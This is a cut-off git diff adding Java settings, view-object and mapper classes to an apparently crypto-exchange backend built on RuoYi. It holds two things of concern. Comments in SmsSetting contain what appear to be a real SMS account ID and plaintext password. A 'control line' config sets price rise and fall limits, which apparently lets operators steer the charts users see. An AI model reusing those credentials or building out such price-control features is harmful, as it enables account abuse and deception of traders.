b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/OssSetting.java @@ -0,0 +1,31 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 阿里文件服务器 + */ +@Data +public class OssSetting { + + /** + * 存放路径路径 + */ + private String picLocation; + + private String endPoint; + /** + * 储存空间 + */ + private String bucketName; + /** + * 密钥id + */ + private String accessKeyId; + /** + * 密钥 + */ + private String accessKeySecret; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlatformSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlatformSetting.java new file mode 100644 index 0000000..cc180cd --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlatformSetting.java @@ -0,0 +1,12 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 平台设置 + */ +@Data +public class PlatformSetting { + private String timezone; + private boolean googleAuth; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlayingSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlayingSetting.java new file mode 100644 index 0000000..a956900 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlayingSetting.java @@ -0,0 +1,15 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 玩法配置 + */ +@Data +public class PlayingSetting { + + //name sort isOpen + private String name; //顺序 + private Boolean isOpen; //顺序 + private Integer sort; //顺序 +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/RechargeRebateSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/RechargeRebateSetting.java new file mode 100644 index 0000000..5d06d71 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/RechargeRebateSetting.java @@ -0,0 +1,23 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class RechargeRebateSetting { + + /** + * 返佣比例 + */ + private BigDecimal ratio; + + /** + * 最大返佣限制 + */ + private BigDecimal rebateMaxAmount; + /** + * 开关 + */ + private Boolean isOpen; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/Setting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/Setting.java new file mode 100644 index 0000000..217a295 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/Setting.java @@ -0,0 +1,26 @@ +package com.ruoyi.bussiness.domain.setting; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.io.Serializable; + +@Data +@TableName("t_setting") +@NoArgsConstructor +public class Setting implements Serializable { + + private static final long serialVersionUID = 1L; + + @TableId(value = "id",type = IdType.INPUT) + private String id; + + private Boolean deleteFlag; + + private String settingValue; + +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SmsSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SmsSetting.java new file mode 100644 index 0000000..ce3434a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SmsSetting.java @@ -0,0 +1,17 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 短信配置 + */ +@Data +public class SmsSetting { + + + private String name;//=node + private String mobileAccount;//=I003662 + private String mobilePassword;//=OEwXRLHZkB23 + private String mobileUrl;//=https://api.nodesms.com/send/json + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SupportStaffSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SupportStaffSetting.java new file mode 100644 index 0000000..8e9c252 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SupportStaffSetting.java @@ -0,0 +1,13 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 客服设置 + */ +@Data +public class SupportStaffSetting { + private String name; //客服名称 + private String url; + private String imgUrl; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TRechargeChannelSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TRechargeChannelSetting.java new file mode 100644 index 0000000..45827c2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TRechargeChannelSetting.java @@ -0,0 +1,55 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * 提现通道配置 + */ +@Data +public class TRechargeChannelSetting { + + /** + * 0-关闭 1-开启 + */ + private String status; + /** + * 展示名称 + */ + private String rechargeName; + /** + * 提现币种 + */ + private String rechargeType; + /** + * 0 为数据货币 1为银行卡 + */ + private String type; + /** + *固定手续费 + */ + + private BigDecimal fee ; + + /** + * 手续费 + */ + private BigDecimal ratio; + /** + * 每日提现次数限制 + */ + private Integer dayWithdrawalNum; + /** + * 系统免费提现次数 + */ + private Integer freeNum; + /** + * 最大限制 + */ + private BigDecimal withdrawalMax; + /** + * 最小限制 + */ + private BigDecimal withdrawalMix; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TabSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TabSetting.java new file mode 100644 index 0000000..ccd67dc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TabSetting.java @@ -0,0 +1,19 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import javax.swing.*; +import java.security.Key; + +/** + * 玩法配置 + */ +@Data +public class TabSetting { + + //name sort isOpen + private String name; //顺序 + private Boolean isOpen; //顺序 + private Integer sort; //顺序 + private String keyStr; // 语言 +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TgBotSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TgBotSetting.java new file mode 100644 index 0000000..e04194e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TgBotSetting.java @@ -0,0 +1,11 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class TgBotSetting { + + private String botName; + private String botToken; + private String chatId; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/ThirdPaySetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/ThirdPaySetting.java new file mode 100644 index 0000000..cd93a55 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/ThirdPaySetting.java @@ -0,0 +1,39 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class ThirdPaySetting { + + // + private String name; + //0下线1上线 + private Integer status; + // 地址 + private String url; + + private String key; + + //三方充值通道 0 开启 1关闭 + private String thirdPayStatu; + + + //三方提现通道 0 开启 1关闭 + + private String thirdWithStatu; + + + //方法名 + private String companyName; + /** + * 编码 + */ + private String code; + + private String mechId; + + private String returnUrl; + + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipDirectionsSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipDirectionsSetting.java new file mode 100644 index 0000000..cf8d0bf --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipDirectionsSetting.java @@ -0,0 +1,18 @@ +package com.ruoyi.bussiness.domain.setting; + + +import lombok.Data; + +@Data +public class VipDirectionsSetting { + + /** + * 语言 + */ + private String lang; + + /** + * 详细信息 + */ + private String info; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipLevelSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipLevelSetting.java new file mode 100644 index 0000000..a4b4c49 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipLevelSetting.java @@ -0,0 +1,92 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class VipLevelSetting { + + /** + * 开关 + */ + private Boolean isOpen; + + + /** + * vip0 开始 + */ + private String vip0Start; + /** + * vip0 结束 + */ + private String vip0End; + + /** + * vip1 开始 + */ + private String vip1Start; + /** + * vip1 结束 + */ + private String vip1End; + + /** + * vip2 开始 + */ + private String vip2Start; + /** + * vip2 结束 + */ + private String vip2End; + + /** + * vip3 开始 + */ + private String vip3Start; + /** + * vip3 结束 + */ + private String vip3End; + + /** + * vip4 开始 + */ + private String vip4Start; + /** + * vip4 结束 + */ + private String vip4End; + + /** + * vip5 开始 + */ + private String vip5Start; + /** + * vip5 结束 + */ + private String vip5End; + + /** + * vip6 开始 + */ + private String vip6Start; + /** + * vip6 结束 + */ + private String vip6End; + + /** + * vip7开始 + */ + private String vip7Start; + /** + * vip7 结束 + */ + private String vip7End; + + /** + * vip8 开始 + */ + private String vip8Start; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VoiceSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VoiceSetting.java new file mode 100644 index 0000000..0229873 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VoiceSetting.java @@ -0,0 +1,23 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 冲提语音包配置 + */ +@Data +public class VoiceSetting { + /** + * 提现语音包路径 + */ + private String withdrawalVoiceUrl; + /** + * 充值语音包路径 + */ + private String rechargeVoiceUrl; + + /** + * 实名认证 + */ + private String verifiedVoiceUrl; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhiteIpSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhiteIpSetting.java new file mode 100644 index 0000000..a1ff43a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhiteIpSetting.java @@ -0,0 +1,12 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 后台ip控制 + */ +@Data +public class WhiteIpSetting { + private String ip; + private String remark; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhitePaperSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhitePaperSetting.java new file mode 100644 index 0000000..7502bac --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhitePaperSetting.java @@ -0,0 +1,8 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class WhitePaperSetting { + private String url; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyAppUserDataVo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyAppUserDataVo.java new file mode 100644 index 0000000..e1e8810 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyAppUserDataVo.java @@ -0,0 +1,32 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * 代理下级用户统计Vo + */ +@Data +public class AgencyAppUserDataVo { + + private Long appUserId; //玩家用户id + private BigDecimal recharge; //充值总额 + private BigDecimal withdraw; //体现总额 + private BigDecimal sendBonus; //赠送彩金总额 + private BigDecimal subBonus; //扣减彩金总额 + + private BigDecimal btcManualScoring; // BTC人工上分+ + private BigDecimal ethManualScoring; // ETH人工上分+ + + private BigDecimal subAmount; //人工下分- + private BigDecimal sendAmount; //人工上分+ + private BigDecimal btcManualSubdivision; //BTC人工下分- + private BigDecimal ethManualSubdivision; //ETH人工下分- + + private BigDecimal sumManualScoring; //人工下分+总额 + private BigDecimal sumManualSubdivision; //人工下分-总额 + + private BigDecimal collectionAmount; //下级总归集金额 + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyDataVo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyDataVo.java new file mode 100644 index 0000000..899ac10 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyDataVo.java @@ -0,0 +1,32 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * 统计代理Vo + */ +@Data +public class AgencyDataVo { + + private Long agencyId; //下级代理id + private String agencyUserName; //下级代理名称 + private String appAllUserId; //下级所有玩家ids + private BigDecimal collectionAmount; //下级总归集金额 + private BigDecimal recharge; //充值总额 + private BigDecimal withdraw; //体现总额 + private BigDecimal sendBonus; //赠送彩金总额+ + private BigDecimal subBonus; //扣减彩金总额- + + private BigDecimal btcManualScoring; // BTC人工上分+ + private BigDecimal ethManualScoring; // ETH人工上分+ + + private BigDecimal subAmount; //人工下分- + private BigDecimal sendAmount; //人工上分+ + private BigDecimal btcManualSubdivision; //BTC人工下分- + private BigDecimal ethManualSubdivision; //ETH人工下分- + + private BigDecimal sumManualScoring; //人工下分+总额 + private BigDecimal sumManualSubdivision; //人工下分-总额 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AssetTransFundsVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AssetTransFundsVO.java new file mode 100644 index 0000000..b3da87b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AssetTransFundsVO.java @@ -0,0 +1,27 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class AssetTransFundsVO { + /** + * 币种 + */ + private String coin; + /** + * 转出账户 + * AssetEnum + */ + private Integer transferOutAccount; + /** + * 转入账户 + * AssetEnum + */ + private Integer transferInAccount; + /** + * 金额 + */ + private BigDecimal amount; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/DailyDataVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/DailyDataVO.java new file mode 100644 index 0000000..84cec43 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/DailyDataVO.java @@ -0,0 +1,40 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.math.BigDecimal; + +/** + * @author:michael 玩家数据统计 + * @createDate: 2023/8/11 14:09 + */ + +@Data +public class DailyDataVO { + + //总充值 + private BigDecimal totalRechargeAmount; + //总提现 + private BigDecimal totalWithdrawAmount; + //总赠送彩金 + private BigDecimal totalWingAmount; + //总扣减彩金 + private BigDecimal totalSubBousAmount; + //总下分 + private BigDecimal totalSubAmount; + //总下分 + private BigDecimal totalAddAmount; + //总归集金额 + private BigDecimal totalCollectAmount; + // + private BigDecimal betAmount; + private BigDecimal rewardAmount; + //U本位输赢总金额 + private BigDecimal totalContractAmount; + //理财总金额 + private BigDecimal totalMattersAmount; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/OwnVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/OwnVO.java new file mode 100644 index 0000000..bd421ed --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/OwnVO.java @@ -0,0 +1,13 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class OwnVO { + private String market; + private String coin; + private BigDecimal price; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecallVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecallVO.java new file mode 100644 index 0000000..0ac4d35 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecallVO.java @@ -0,0 +1,13 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class RecallVO { + private String timestamp; + private String nonce; + private String sign; + private String body; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecoedEnumVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecoedEnumVO.java new file mode 100644 index 0000000..969af9e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecoedEnumVO.java @@ -0,0 +1,10 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +@Data +public class RecoedEnumVO { + + private Integer key; + private String value; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SecondCoinCopyVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SecondCoinCopyVO.java new file mode 100644 index 0000000..8385824 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SecondCoinCopyVO.java @@ -0,0 +1,9 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +@Data +public class SecondCoinCopyVO { + private Long copyId; + private Long[] copyIds; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SymbolCoinConfigVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SymbolCoinConfigVO.java new file mode 100644 index 0000000..a43859b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SymbolCoinConfigVO.java @@ -0,0 +1,80 @@ +package com.ruoyi.bussiness.domain.vo; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.springframework.data.annotation.Transient; + +import java.math.BigDecimal; + +/** + * 秒合约币种配置对象 t_second_coin_config + * + * @author ruoyi + * @date 2023-07-11 + */ +@Data +public class SymbolCoinConfigVO { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 合约交易对 + */ + private String symbol; + /** + * 是否启用 2关闭 1启用 + */ + private Long status; + /** + * 是否展示 2不展示 1展示 + */ + private Long showFlag; + /** + * 币种 + */ + private String coin; + /** + * 结算币种 + */ + private String baseCoin; + private String market; + + /** + * 排序 + */ + private Long sort; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 图标 + */ + private String logo; + /** + * 展示交易对 + */ + private String showSymbol; + /** + * 类型 0-秒合约 1-u本位 2-币币 + */ + private Integer type; + /** + * 类型 1 外汇 2 虚拟币 + */ + private Integer coinType; + private BigDecimal amount; + @TableField(exist = false) + private BigDecimal open; + private Integer isCollect; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SysDataVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SysDataVO.java new file mode 100644 index 0000000..ba2f605 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SysDataVO.java @@ -0,0 +1,28 @@ +package com.ruoyi.bussiness.domain.vo; + +import com.alibaba.fastjson2.JSONObject; +import lombok.Data; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + +/** + * 首页数据统计 + * + * @author ruoyi + */ +@Data +public class SysDataVO { + + //标题 1平台总收入,2玩家数量,3总充值金额,4提现金额 + private Integer title; + //总值 + private BigDecimal totalNum; + + private String redLineName; + private String blueLineName; + private Map redLine; + private Map blueLine; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TAgentActivityInfoVo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TAgentActivityInfoVo.java new file mode 100644 index 0000000..3843ffd --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TAgentActivityInfoVo.java @@ -0,0 +1,59 @@ +package com.ruoyi.bussiness.domain.vo; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.fasterxml.jackson.annotation.JsonFormat; +import lombok.Data; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.format.annotation.DateTimeFormat; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +@Data +public class TAgentActivityInfoVo { + + /** + * id + */ + private String id; + /** + * 1 充值返利 2挖矿返利 + */ + private Integer type; + + /** + * 1usdt-erc 2 usdt-trc 3btc 4eth + */ + private String coinType; + /** + * 返利用户 + */ + private Long fromId; + /** + * 用户id + */ + private Long userId; + /** + * 1 待返 2 已返 + */ + private Integer status; + + /** + * $column.columnComment + */ + private String serialId; + + private BigDecimal sumAmount; + + @CreatedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + private Date createTime; + + private Map params; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TBotKlineModelVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TBotKlineModelVO.java new file mode 100644 index 0000000..3ba9b6f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TBotKlineModelVO.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.domain.vo; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; + +/** + * 控线配置对象 t_bot_kline_model + * + * @author ruoyi + * @date 2023-08-09 + */ +@Data +public class TBotKlineModelVO extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + + private Long id; + /** + * 最大跌幅 + */ + private Long decline; + /** + * 控制粒度 + */ + private Long granularity; + /** + * 最大涨幅 + */ + private Long increase; + /** + * 控盘策略 + */ + private Long model; + /** + * 浮动比例 + */ + private Long pricePencent; + /** + * 交易对 + */ + private String symbol; + /** + * 值 + */ + private String searchValue; + /** + * 开始时间 + */ + private Date beginTime; + + private BigDecimal conPrice; + /** + * 结束时间 + */ + private Date endTime; + private String lineChartData; + private List botInfoList; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TOwnCoinVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TOwnCoinVO.java new file mode 100644 index 0000000..392ff0e --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TOwnCoinVO.java @@ -0,0 +1,107 @@ +package com.ruoyi.bussiness.domain.vo; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; +import java.util.Date; + +/** + * 发币对象 t_own_coin + * + * @author ruoyi + * @date 2023-09-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_own_coin") +public class TOwnCoinVO extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 币种 + */ + private String coin; + /** + * 图标 + */ + private String logo; + /** + * 参考币种 + */ + private String referCoin; + /** + * 参考币种交易所 + */ + private String referMarket; + /** + * 展示名称 + */ + private String showSymbol; + /** + * 初始价格(单位USDT) + */ + private BigDecimal price; + /** + * 价格百分比 + */ + private BigDecimal proportion; + /** + * 总发行量 + */ + private BigDecimal totalAmount; + /** + * 私募发行量 + */ + private BigDecimal raisingAmount; + /** + * 已筹集额度 + */ + private BigDecimal raisedAmount; + /** + * 预购上限 + */ + private Integer purchaseLimit; + /** + * 参与人数 + */ + private Long participantsNum; + /** + * 筹集期限 + */ + private Long raisingTime; + /** + * 开始时间 + */ + private Date beginTime; + /** + * 结束时间 + */ + private Date endTime; + /** + * 1.筹备中 2.进行中 3 筹集成功 4.筹集失败 + */ + private Integer status; + /** + * 介绍 + */ + private String introduce; + + /** + * 申购数量 + */ + private Long numLimit; + + private Long beginTimes; + private Long endTimes; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserBonusVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserBonusVO.java new file mode 100644 index 0000000..b7d9c12 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserBonusVO.java @@ -0,0 +1,27 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; +/** + * 赠送彩金 人工下分 VO类 + * + * @author ruoyi + * @date 2023-07-10 + */ +@Data +public class UserBonusVO { + //用户id + private Long userId; + //金额 + private BigDecimal amount; + //资产币种 + private String symbol; + + private String type; + //0 上分 1 下分 + private String giveType; + private String createBy; + //备注 + private String remark; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserDataVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserDataVO.java new file mode 100644 index 0000000..04aec53 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserDataVO.java @@ -0,0 +1,44 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * @author:michael 玩家数据统计 + * @createDate: 2023/8/11 14:09 + */ + +@Data +public class UserDataVO { + + //用户id + private Long userId; + + private String userName; + //总充值 + private BigDecimal totalRechargeAmount; + //总提现 + private BigDecimal totalWithdrawAmount; + //总赠送彩金 + private BigDecimal totalWingAmount; + //总扣减彩金 + private BigDecimal totalSubBousAmount; + //总下分 + private BigDecimal totalSubAmount; + //总上分 + private BigDecimal totalAddAmount; + //总归集金额 + private BigDecimal totalCollectAmount; + //秒合约输赢金额 + private BigDecimal totalCurrencyAmount; + //U本位输赢总金额 + private BigDecimal totalContractAmount; + //理财总金额 + private BigDecimal totalMattersAmount; + // + private BigDecimal betAmount; + + private BigDecimal rewardAmount; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/WithdrawFreezeVO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/WithdrawFreezeVO.java new file mode 100644 index 0000000..779fd6b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/WithdrawFreezeVO.java @@ -0,0 +1,12 @@ +package com.ruoyi.bussiness.domain.vo; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class WithdrawFreezeVO { + private String coin; + private BigDecimal price; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiActivityMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiActivityMapper.java new file mode 100644 index 0000000..1e233a9 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiActivityMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.DefiActivity; +import org.apache.ibatis.annotations.Param; + +/** + * 空投活动Mapper接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface DefiActivityMapper extends BaseMapper +{ + /** + * 查询空投活动 + * + * @param id 空投活动主键 + * @return 空投活动 + */ + public DefiActivity selectDefiActivityById(Long id); + + /** + * 查询空投活动列表 + * + * @param defiActivity 空投活动 + * @return 空投活动集合 + */ + public List selectDefiActivityList(DefiActivity defiActivity); + + /** + * 新增空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + public int insertDefiActivity(DefiActivity defiActivity); + + /** + * 修改空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + public int updateDefiActivity(DefiActivity defiActivity); + + /** + * 删除空投活动 + * + * @param id 空投活动主键 + * @return 结果 + */ + public int deleteDefiActivityById(Long id); + + /** + * 批量删除空投活动 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteDefiActivityByIds(Long[] ids); + + List showDefiActivity(@Param("userId") Long userId, @Param("status") Integer status); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiOrderMapper.java new file mode 100644 index 0000000..9a33334 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiOrderMapper.java @@ -0,0 +1,66 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.bussiness.domain.dto.DefiOrderDTO; + +import java.math.BigDecimal; +import java.util.List; + +/** + * defi订单Mapper接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface DefiOrderMapper extends BaseMapper +{ + /** + * 查询defi订单 + * + * @param id defi订单主键 + * @return defi订单 + */ + public DefiOrder selectDefiOrderById(Long id); + + /** + * 查询defi订单列表 + * + * @param defiOrder defi订单 + * @return defi订单集合 + */ + public List 